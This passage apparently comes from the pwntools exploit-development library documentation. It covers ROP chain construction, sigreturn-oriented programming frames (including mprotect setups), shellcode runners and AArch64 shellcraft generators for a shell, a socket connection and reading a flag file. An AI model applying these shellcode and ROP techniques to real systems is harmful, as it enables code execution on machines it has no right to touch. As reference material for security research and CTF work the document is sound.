>>> r.execve(4, 5, 6)
```

```
>>> print r.dump()
0x8048000:         0x10001234 funcname(1, 2)
0x8048004:         0x10000003 <adjust @0x8048018> add esp, 0x10; ret
0x8048008:                0x1 arg0
0x804800c:                0x2 arg1
0x8048010:             'eaaa' <pad>
0x8048014:             'faaa' <pad>
0x8048018:         0x10001234 funcname(3)
0x804801c:         0x10000007 <adjust @0x8048024> pop eax; ret
0x8048020:                0x3 arg0
0x8048024:         0x10000007 pop eax; ret
0x8048028:               0x77 [arg0] eax = SYS_sigreturn
0x804802c:         0x10000000 int 0x80
0x8048030:                0x0 gs
0x8048034:                0x0 fs
0x8048038:                0x0 es
0x804803c:                0x0 ds
0x8048040:                0x0 edi
0x8048044:                0x0 esi
0x8048048:                0x0 ebp
0x804804c:          0x8048080 esp
0x8048050:                0x4 ebx
0x8048054:                0x6 edx
0x8048058:                0x5 ecx
0x804805c:                0xb eax
0x8048060:                0x0 trapno
0x8048064:                0x0 err
0x8048068:         0x10000000 int 0x80
0x804806c:               0x23 cs
0x8048070:                0x0 eflags
0x8048074:                0x0 esp_at_signal
0x8048078:               0x2b ss
0x804807c:                0x0 fpstate
```

```
>>> elf = ELF.from_assembly('ret')
>>> r = ROP(elf)
>>> r.ret.address == 0x10000000
True
>>> r = ROP(elf, badchars='\x00')
>>> r.gadgets == {}
True
>>> r.ret is None
True
```

> **Parameters**
>
> - **elfs** (`list`) – List of *ELF* objects for mining
>
> - **base** (`int`) – Stack address where the first byte of the ROP chain lies, if known.
>
> - **badchars** (`str`) – Characters which should not appear in ROP gadget addresses.

build(*base=None*, *description=None*)
   Construct the ROP chain into a list of elements which can be passed to *flat()*.

> **Parameters**
>
> - **base** (`int`) – The base address to build the rop-chain from. Defaults to *base*.

- **description** ([*dict*](#)) – Optional output argument, which will gets a mapping of address: description for each address on the stack, starting at base.

call (*resolvable*, *arguments=()*, *abi=None*, ***kwargs*)
　　Add a call to the ROP chain

　　　　Parameters

- **resolvable** (*str, int*) – Value which can be looked up via 'resolve', or is already an integer.
- **arguments** (*list*) – List of arguments which can be passed to pack(). Alternately, if a base address is set, arbitrarily nested structures of strings or integers can be provided.

chain ()
　　Build the ROP chain

　　　　Returns　str containing raw ROP bytes

describe (*object*)
　　Return a description for an object in the ROP stack

dump ()
　　Dump the ROP chain in an easy-to-read manner

find_gadget (*instructions*)
　　Returns a gadget with the exact sequence of instructions specified in the instructions argument.

generatePadding (*offset*, *count*)
　　Generates padding to be inserted into the ROP stack.

```
>>> rop = ROP([])
>>> val = rop.generatePadding(5,15)
>>> cyclic_find(val[:4])
5
>>> len(val)
15
>>> rop.generatePadding(0,0)
''
```

migrate (*next_base*)
　　Explicitly set $sp, by using a leave; ret gadget

raw (*value*)
　　Adds a raw integer or string to the ROP chain.

　　If your architecture requires aligned values, then make sure that any given string is aligned!

　　　　Parameters data (*int/str*) – The raw value to put onto the rop chain.

```
>>> rop = ROP([])
>>> rop.raw('AAAAAAAA')
>>> rop.raw('BBBBBBBB')
>>> rop.raw('CCCCCCCC')
>>> print rop.dump()
0x0000:          'AAAA' 'AAAAAAAA'
0x0004:          'AAAA'
0x0008:          'BBBB' 'BBBBBBBB'
0x000c:          'BBBB'
0x0010:          'CCCC' 'CCCCCCCC'
0x0014:          'CCCC'
```

resolve(*resolvable*)
> Resolves a symbol to an address

>> **Parameters resolvable** (`str, int`) – Thing to convert into an address

>> **Returns** int containing address of 'resolvable', or None

search(*move=0*, *regs=None*, *order='size'*)
> Search for a gadget which matches the specified criteria.

>> **Parameters**

>>> • **move** (`int`) – Minimum number of bytes by which the stack pointer is adjusted.

>>> • **regs** (`list`) – Minimum list of registers which are popped off the stack.

>>> • **order** (`str`) – Either the string 'size' or 'regs'. Decides how to order multiple gadgets the fulfill the requirements.

> The search will try to minimize the number of bytes popped more than requested, the number of registers touched besides the requested and the address.

> If `order == 'size'`, then gadgets are compared lexicographically by `(total_moves, total_regs, addr)`, otherwise by `(total_regs, total_moves, addr)`.

>> **Returns** A `Gadget` object

search_iter(*move=None*, *regs=None*)
> Iterate through all gadgets which move the stack pointer by *at least* `move` bytes, and which allow you to set all registers in `regs`.

setRegisters(*registers*)
> Returns an list of addresses/values which will set the specified register context.

>> **Parameters registers** (`dict`) – Dictionary of {register name: value}

>> **Returns**

>>> A list of tuples, ordering the stack.

>>> Each tuple is in the form of `(value, name)` where `value` is either a gadget address or literal value to go on the stack, and `name` is either a string name or other item which can be "unresolved".

> **Note:** This is basically an implementation of the Set Cover Problem, which is NP-hard. This means that we will take polynomial time N**2, where N is the number of gadgets. We can reduce runtime by discarding useless and inferior gadgets ahead of time.

---

unresolve(*value*)
> Inverts 'resolve'. Given an address, it attempts to find a symbol for it in the loaded ELF files. If none is found, it searches all known gadgets, and returns the disassembly

>> **Parameters value** (`int`) – Address to look up

>> **Returns** String containing the symbol name for the address, disassembly for a gadget (if there's one at that address), or an empty string.

base = None
> Stack address where the first byte of the ROP chain lies, if known.

elfs = None
> List of ELF files which are available for mining gadgets

> **migrated = None**
>> Whether or not the ROP chain directly sets the stack pointer to a value which is not contiguous

`pwnlib.rop.srop` — Sigreturn Oriented Programming

Sigreturn ROP (SROP)

Sigreturn is a syscall used to restore the entire register context from memory pointed at by ESP.

We can leverage this during ROP to gain control of registers for which there are not convenient gadgets. The main caveat is that *all* registers are set, including ESP and EIP (or their equivalents). This means that in order to continue after using a sigreturn frame, the stack pointer must be set accordingly.

i386 Example:

> Let's just print a message out using SROP.
>
> ```
> >>> message = "Hello, World\\n"
> ```
>
> First, we'll create our example binary. It just reads some data onto the stack, and invokes the `sigreturn` syscall. We also make an `int 0x80` gadget available, followed immediately by `exit(0)`.
>
> ```
> >>> context.clear(arch='i386')
> >>> assembly =  'read:'      + shellcraft.read(constants.STDIN_FILENO, 'esp',
> ↪ 1024)
> >>> assembly += 'sigreturn:' + shellcraft.sigreturn()
> >>> assembly += 'int3:'      + shellcraft.trap()
> >>> assembly += 'syscall: '  + shellcraft.syscall()
> >>> assembly += 'exit: '     + 'xor ebx, ebx; mov eax, 1; int 0x80;'
> >>> assembly += 'message: '  + ('.asciz "%s"' % message)
> >>> binary = ELF.from_assembly(assembly)
> ```
>
> Let's construct our frame to have it invoke a `write` syscall, and dump the message to stdout.
>
> ```
> >>> frame = SigreturnFrame(kernel='amd64')
> >>> frame.eax = constants.SYS_write
> >>> frame.ebx = constants.STDOUT_FILENO
> >>> frame.ecx = binary.symbols['message']
> >>> frame.edx = len(message)
> >>> frame.esp = 0xdeadbeef
> >>> frame.eip = binary.symbols['syscall']
> ```
>
> Let's start the process, send the data, and check the message.
>
> ```
> >>> p = process(binary.path)
> >>> p.send(str(frame))
> >>> p.recvline()
> 'Hello, World\n'
> >>> p.poll(block=True)
> 0
> ```

amd64 Example:

```
>>> context.clear()
>>> context.arch = "amd64"
>>> assembly =  'read:'      + shellcraft.read(constants.STDIN_FILENO, 'rsp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:'      + shellcraft.trap()
```

```
>>> assembly += 'syscall: '  + shellcraft.syscall()
>>> assembly += 'exit: '     + 'xor rdi, rdi; mov rax, 60; syscall;'
>>> assembly += 'message: '  + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.rax = constants.SYS_write
>>> frame.rdi = constants.STDOUT_FILENO
>>> frame.rsi = binary.symbols['message']
>>> frame.rdx = len(message)
>>> frame.rsp = 0xdeadbeef
>>> frame.rip = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvline()
'Hello, World\n'
>>> p.poll(block=True)
0
```

arm Example:

```
>>> context.clear()
>>> context.arch = "arm"
>>> assembly =  'read:'      + shellcraft.read(constants.STDIN_FILENO, 'sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:'      + shellcraft.trap()
>>> assembly += 'syscall: '  + shellcraft.syscall()
>>> assembly += 'exit: '     + 'eor r0, r0; mov r7, 0x1; swi #0;'
>>> assembly += 'message: '  + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.r7 = constants.SYS_write
>>> frame.r0 = constants.STDOUT_FILENO
>>> frame.r1 = binary.symbols['message']
>>> frame.r2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvline()
'Hello, World\n'
>>> p.wait_for_close()
>>> p.poll(block=True)
0
```

Mips Example:

```
>>> context.clear()
>>> context.arch = "mips"
>>> context.endian = "big"
>>> assembly =  'read:'      + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'syscall: '  + shellcraft.syscall()
>>> assembly += 'exit: '     + shellcraft.exit(0)
>>> assembly += 'message: '  + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.v0 = constants.SYS_write
```

```
>>> frame.a0 = constants.STDOUT_FILENO
>>> frame.a1 = binary.symbols['message']
>>> frame.a2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvline()
'Hello, World\n'
>>> p.poll(block=True)
0
```

Mipsel Example:

```
>>> context.clear()
>>> context.arch = "mips"
>>> context.endian = "little"
>>> assembly =  'read:'     + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'syscall: '  + shellcraft.syscall()
>>> assembly += 'exit: '     + shellcraft.exit(0)
>>> assembly += 'message: '  + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.v0 = constants.SYS_write
>>> frame.a0 = constants.STDOUT_FILENO
>>> frame.a1 = binary.symbols['message']
>>> frame.a2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvline()
'Hello, World\n'
>>> p.poll(block=True)
0
```

class pwnlib.rop.srop.**SigreturnFrame**(***kw*)

Crafts a sigreturn frame with values that are loaded up into registers.

> **Parameters** **arch** (*str*) – The architecture. Currently i386 and amd64 are supported.

Examples

Crafting a SigreturnFrame that calls mprotect on amd64

```
>>> context.clear(arch='amd64')
>>> s = SigreturnFrame()
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 51, 0, 0, 0,
↪ 0, 0, 0, 0]
>>> assert len(s) == 248
>>> s.rax = 0xa
>>> s.rdi = 0x00601000
>>> s.rsi = 0x1000
```

```
>>> s.rdx = 0x7
>>> assert len(str(s)) == 248
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6295552, 4096, 0, 0, 7, 10, 0, 0, 0, 0,
↪51, 0, 0, 0, 0, 0, 0, 0]
```

Crafting a SigreturnFrame that calls mprotect on i386

```
>>> context.clear(arch='i386')
>>> s = SigreturnFrame(kernel='i386')
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 115, 0, 0, 123, 0]
>>> assert len(s) == 80
>>> s.eax = 125
>>> s.ebx = 0x00601000
>>> s.ecx = 0x1000
>>> s.edx = 0x7
>>> assert len(str(s)) == 80
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 6295552, 7, 4096, 125, 0, 0, 0, 115, 0, 0, 123, 0]
```

Crafting a SigreturnFrame that calls mprotect on ARM

```
>>> s = SigreturnFrame(arch='arm')
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪1073741840, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 1447448577, 288]
>>> s.r0 = 125
>>> s.r1 = 0x00601000
>>> s.r2 = 0x1000
>>> s.r3 = 0x7
>>> assert len(str(s)) == 240
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 6, 0, 0, 125, 6295552, 4096, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪0, 1073741840, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1447448577, 288]
```

Crafting a SigreturnFrame that calls mprotect on MIPS

```
>>> context.clear()
>>> context.endian = "big"
>>> s = SigreturnFrame(arch='mips')
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
>>> s.v0 = 0x101d
>>> s.a0 = 0x00601000
>>> s.a1 = 0x1000
>>> s.a2 = 0x7
>>> assert len(str(s)) == 296
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4125, 0, 0, 0, 6295552, 0, 4096, 0,
↪7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
```

Crafting a SigreturnFrame that calls mprotect on MIPSel

```
>>> context.clear()
>>> context.endian = "little"
>>> s = SigreturnFrame(arch='mips')
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
>>> s.v0 = 0x101d
>>> s.a0 = 0x00601000
>>> s.a1 = 0x1000
>>> s.a2 = 0x7
>>> assert len(str(s)) == 292
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4125, 0, 0, 0, 6295552, 0, 4096, 0, 7,
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
```

Crafting a SigreturnFrame that calls mprotect on Aarch64

```
>>> context.clear()
>>> context.endian = "little"
>>> s = SigreturnFrame(arch='aarch64')
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1179680769, 528]
>>> s.x8 = 0xe2
>>> s.x0 = 0x4000
>>> s.x1 = 0x1000
>>> s.x2 = 0x7
>>> assert len(str(s)) == 600
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16384,
↪0, 4096, 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 226, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1179680769, 528]
```

set_regvalue(*reg*, *val*)
> Sets a specific reg to a val

2.23 `pwnlib.runner` — Running Shellcode

pwnlib.runner.**run_assembly**(**a*, ***kw*)
> Given an assembly listing, assemble and execute it.

> > **Returns** A *pwnlib.tubes.process.process* tube to interact with the process.

Example

```
>>> p = run_assembly('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> p.wait_for_close()
>>> p.poll()
3
```

```
>>> p = run_assembly('mov r0, #12; mov r7, #1; svc #0', arch='arm')
>>> p.wait_for_close()
>>> p.poll()
12
```

pwnlib.runner.**run_shellcode**(*a*, ***kw*)
    Given assembled machine code bytes, execute them.

Example

```
>>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> p = run_shellcode(bytes)
>>> p.wait_for_close()
>>> p.poll()
3
```

```
>>> bytes = asm('mov r0, #12; mov r7, #1; svc #0', arch='arm')
>>> p = run_shellcode(bytes, arch='arm')
>>> p.wait_for_close()
>>> p.poll()
12
```

pwnlib.runner.**run_assembly_exitcode**(*a*, ***kw*)
    Given an assembly listing, assemble and execute it, and wait for the process to die.

    Returns The exit code of the process.

Example

```
>>> run_assembly_exitcode('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
3
```

pwnlib.runner.**run_shellcode_exitcode**(*a*, ***kw*)
    Given assembled machine code bytes, execute them, and wait for the process to die.

    Returns The exit code of the process.

Example

```
>>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> run_shellcode_exitcode(bytes)
3
```

2.24 `pwnlib.shellcraft` — Shellcode generation

The shellcode module.

This module contains functions for generating shellcode.

It is organized first by architecture and then by operating system.

2.24.1 Submodules

`pwnlib.shellcraft.aarch64` — Shellcode for AArch64

`pwnlib.shellcraft.aarch64`

pwnlib.shellcraft.aarch64.**breakpoint**()
> Inserts a debugger breakpoint (raises SIGTRAP).

> #### Example

> ```
> >>> run_assembly(shellcraft.breakpoint()).poll(True)
> -5
> ```

pwnlib.shellcraft.aarch64.**crash**()
> Crashes the process.

> #### Example

> ```
> >>> run_assembly(shellcraft.crash()).poll(True)
> -11
> ```

pwnlib.shellcraft.aarch64.**infloop**()
> An infinite loop.

> #### Example

> ```
> >>> io = run_assembly(shellcraft.infloop())
> >>> io.recvall(timeout=1)
> ''
> >>> io.close()
> ```

pwnlib.shellcraft.aarch64.**mov**(*dst*, *src*)
> Move src into dest.

> Support for automatically avoiding newline and null bytes has to be done.

> If src is a string that is not a register, then it will locally set *context.arch* to *'arm'* and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Examples

```
>>> print shellcraft.mov('x0','x1').rstrip()
    mov  x0, x1
>>> print shellcraft.mov('x0','0').rstrip()
    mov  x0, xzr
>>> print shellcraft.mov('x0', 5).rstrip()
    mov  x0, #5
>>> print shellcraft.mov('x0', 0x34532).rstrip()
    /* Set x0 = 214322 = 0x34532 */
    mov  x0, #17714
    movk x0, #3, lsl #16
```

> **Parameters**
>
> - **dest** (`str`) – The destination register.
> - **src** (`str`) – Either the input register, or an immediate value.

pwnlib.shellcraft.aarch64.**push**(*value*, *register1='x14'*, *register2='x15'*)

> Pushes a value onto the stack without using null bytes or newline characters.
>
> If src is a string, then we try to evaluate using `pwnlib.constants.eval()` before determining how to push it.
>
> Note that this means that this shellcode can change behavior depending on the value of *context.os*.
>
> ---
>
> **Note:** AArch64 requires that the stack remain 16-byte aligned at all times, so this alignment is preserved.
>
> ---
>
> > **Parameters**
> >
> > - **value** (`int`, `str`) – The value or register to push
> > - **register1** (`str`) – Scratch register to use
> > - **register2** (`str`) – Second scratch register to use

Example

```
>>> print pwnlib.shellcraft.push(0).rstrip()
    /* push 0 */
    mov  x14, xzr
    str x14, [sp, #-16]!
>>> print pwnlib.shellcraft.push(1).rstrip()
    /* push 1 */
    mov  x14, #1
    str x14, [sp, #-16]!
>>> print pwnlib.shellcraft.push(256).rstrip()
    /* push 0x100 */
    mov  x14, #256
    str x14, [sp, #-16]!
>>> print pwnlib.shellcraft.push('SYS_execve').rstrip()
    /* push SYS_execve (0xdd) */
    mov  x14, #221
    str x14, [sp, #-16]!
```

```
>>> print pwnlib.shellcraft.push('SYS_sendfile').rstrip()
    /* push SYS_sendfile (0x47) */
    mov  x14, #71
    str x14, [sp, #-16]!
>>> with context.local(os = 'freebsd'):
...     print pwnlib.shellcraft.push('SYS_execve').rstrip()
...
    /* push SYS_execve (0x3b) */
    mov  x14, #59
    str x14, [sp, #-16]!
```

pwnlib.shellcraft.aarch64.**pushstr**(*string*, *append_null=True*, *register1='x14'*, *register2='x15'*, *pretty=None*)

Pushes a string onto the stack.

r12 is defined as the inter-procedural scratch register ($ip), so this should not interfere with most usage.

> **Parameters**
>
> > * **string** (*str*) – The string to push.
> >
> > * **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.
> >
> > * **register** (*str*) – Temporary register to use. By default, R7 is used.

Examples

```
>>> print shellcraft.pushstr("Hello!").rstrip()
    /* push 'Hello!\x00' */
    /* Set x14 = 36762444129608 = 0x216f6c6c6548 */
    mov  x14, #25928
    movk x14, #27756, lsl #16
    movk x14, #8559, lsl #0x20
    str x14, [sp, #-16]!
>>> print shellcraft.pushstr("Hello, world!").rstrip()
    /* push 'Hello, world!\x00' */
    /* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
    mov  x14, #25928
    movk x14, #27756, lsl #16
    movk x14, #11375, lsl #0x20
    movk x14, #30496, lsl #0x30
    /* Set x15 = 143418749551 = 0x21646c726f */
    mov  x15, #29295
    movk x15, #25708, lsl #16
    movk x15, #33, lsl #0x20
    stp x14, x15, [sp, #-16]!
>>> print shellcraft.pushstr("Hello, world, bienvenue").rstrip()
    /* push 'Hello, world, bienvenue\x00' */
    /* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
    mov  x14, #25928
    movk x14, #27756, lsl #16
    movk x14, #11375, lsl #0x20
    movk x14, #30496, lsl #0x30
    /* Set x15 = 7593667296735556207 = 0x6962202c646c726f */
    mov  x15, #29295
    movk x15, #25708, lsl #16
    movk x15, #8236, lsl #0x20
```

```
    movk x15, #26978, lsl #0x30
    stp x14, x15, [sp, #-16]!
    /* Set x14 = 28558089656888933 = 0x65756e65766e65 */
    mov  x14, #28261
    movk x14, #25974, lsl #16
    movk x14, #30062, lsl #0x20
    movk x14, #101, lsl #0x30
    str x14, [sp, #-16]!
>>> print shellcraft.pushstr("Hello, world, bienvenue!").rstrip()
    /* push 'Hello, world, bienvenue!\x00' */
    /* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
    mov  x14, #25928
    movk x14, #27756, lsl #16
    movk x14, #11375, lsl #0x20
    movk x14, #30496, lsl #0x30
    /* Set x15 = 7593667296735556207 = 0x6962202c646c726f */
    mov  x15, #29295
    movk x15, #25708, lsl #16
    movk x15, #8236, lsl #0x20
    movk x15, #26978, lsl #0x30
    stp x14, x15, [sp, #-16]!
    /* Set x14 = 2406458692908510821 = 0x2165756e65766e65 */
    mov  x14, #28261
    movk x14, #25974, lsl #16
    movk x14, #30062, lsl #0x20
    movk x14, #8549, lsl #0x30
    mov  x15, xzr
    stp x14, x15, [sp, #-16]!
```

pwnlib.shellcraft.aarch64.**setregs**(*reg_context*, *stack_allowed=True*)
    Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

> **Parameters**
>
> > • **reg_context** (*dict*) – Desired register context
> >
> > • **stack_allowed** (*bool*) – Can the stack be used?

> **Example**

```
>>> print shellcraft.setregs({'x0':1, 'x2':'x3'}).rstrip()
    mov  x0, #1
    mov  x2, x3
>>> print shellcraft.setregs({'x0':'x1', 'x1':'x0', 'x2':'x3'}).rstrip()
    mov  x2, x3
    eor  x0, x0, x1 /* xchg x0, x1 */
    eor  x1, x0, x1
    eor  x0, x0, x1
```

pwnlib.shellcraft.aarch64.**trap**()
    Inserts a debugger breakpoint (raises SIGTRAP).

Example

```
>>> run_assembly(shellcraft.breakpoint()).poll(True)
-5
```

pwnlib.shellcraft.aarch64.**xor**(*key*, *address*, *count*)

XORs data a constant value.

> **Parameters**
>
> * **key** (*int, str*) – XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes.
> * **address** (*int*) – Address of the data (e.g. 0xdead0000, 'rsp')
> * **count** (*int*) – Number of bytes to XOR.

Example

```
>>> sc  = shellcraft.read(0, 'sp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'sp', 32)
>>> sc += shellcraft.write(1, 'sp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recvn(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.aarch64.linux

pwnlib.shellcraft.aarch64.linux.**cat**(*filename*, *fd=1*)

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> write('flag', 'This is the flag\n')
>>> shellcode = shellcraft.cat('flag') + shellcraft.exit(0)
>>> print disasm(asm(shellcode))
   0:   d28d8cce        mov     x14, #0x6c66                    // #27750
   4:   f2acec2e        movk    x14, #0x6761, lsl #16
   8:   f81f0fee        str     x14, [sp, #-16]!
   c:   d29ff380        mov     x0, #0xff9c                     // #65436
  10:   f2bfffe0        movk    x0, #0xffff, lsl #16
  14:   f2dfffe0        movk    x0, #0xffff, lsl #32
  18:   f2ffffe0        movk    x0, #0xffff, lsl #48
  1c:   910003e1        mov     x1, sp
  20:   aa1f03e2        mov     x2, xzr
  24:   aa1f03e3        mov     x3, xzr
  28:   d2800708        mov     x8, #0x38                       // #56
  2c:   d4000001        svc     #0x0
  30:   aa0003e1        mov     x1, x0
  34:   d2800020        mov     x0, #0x1                        // #1
```
(continues on next page)

```
  38:   aa1f03e2        mov     x2, xzr
  3c:   d29ffffe3       mov     x3, #0xffff                      // #65535
  40:   f2afffe3        movk    x3, #0x7fff, lsl #16
  44:   d28008e8        mov     x8, #0x47                        // #71
  48:   d4000001        svc     #0x0
  4c:   aa1f03e0        mov     x0, xzr
  50:   d2800ba8        mov     x8, #0x5d                        // #93
  54:   d4000001        svc     #0x0
>>> run_assembly(shellcode).recvline()
'This is the flag\n'
```

pwnlib.shellcraft.aarch64.linux.**connect** (*host*, *port*, *network='ipv4'*)
    Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in x12.

pwnlib.shellcraft.aarch64.linux.**echo** (*string*, *sock='1'*)
    Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
'hello\n'
```

pwnlib.shellcraft.aarch64.linux.**forkexit** ()
    Attempts to fork. If the fork is successful, the parent exits.

pwnlib.shellcraft.aarch64.linux.**loader** (*address*)
    Loads a statically-linked ELF into memory and transfers control.

        Parameters address (*int*) – Address of the ELF as a register or integer.

pwnlib.shellcraft.aarch64.linux.**loader_append** (*data=None*)
    Loads a statically-linked ELF into memory and transfers control.

    Similar to loader.asm but loads an appended ELF.

        Parameters data (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

    Example:

    The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

        # >>> gcc = process(['aarch64-linux-gnu-gcc','-xc','-static','-Wl,-Ttext-segment=0x20000000','-']) # >>> gcc.write('" # ... int main() { # ... printf("Hello, %s!\n", "world"); # ... } # ... ''') # >>> gcc.shutdown('send') # >>> gcc.poll(True) # 0 # >>> sc = shellcraft.loader_append('a.out') # >>> run_assembly(sc).recvline() # 'Hello, world!n'

pwnlib.shellcraft.aarch64.linux.**open** (*filename*, *flags='O_RDONLY'*, *mode=0*)
    Opens a file

pwnlib.shellcraft.aarch64.linux.**readn** (*fd*, *buf*, *nbytes*)
    Reads exactly nbytes bytes from file descriptor fd into the buffer buf.

        Parameters

            • **fd** (*int*) – fd

- **buf** (`void`) – buf

- **nbytes** (`size_t`) – nbytes

`pwnlib.shellcraft.aarch64.linux.`**`sh`**`()`

> Execute a different process.

```
>>> p = run_assembly(shellcraft.aarch64.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

`pwnlib.shellcraft.aarch64.linux.`**`socket`**`(network='ipv4', proto='tcp')`

> Creates a new socket

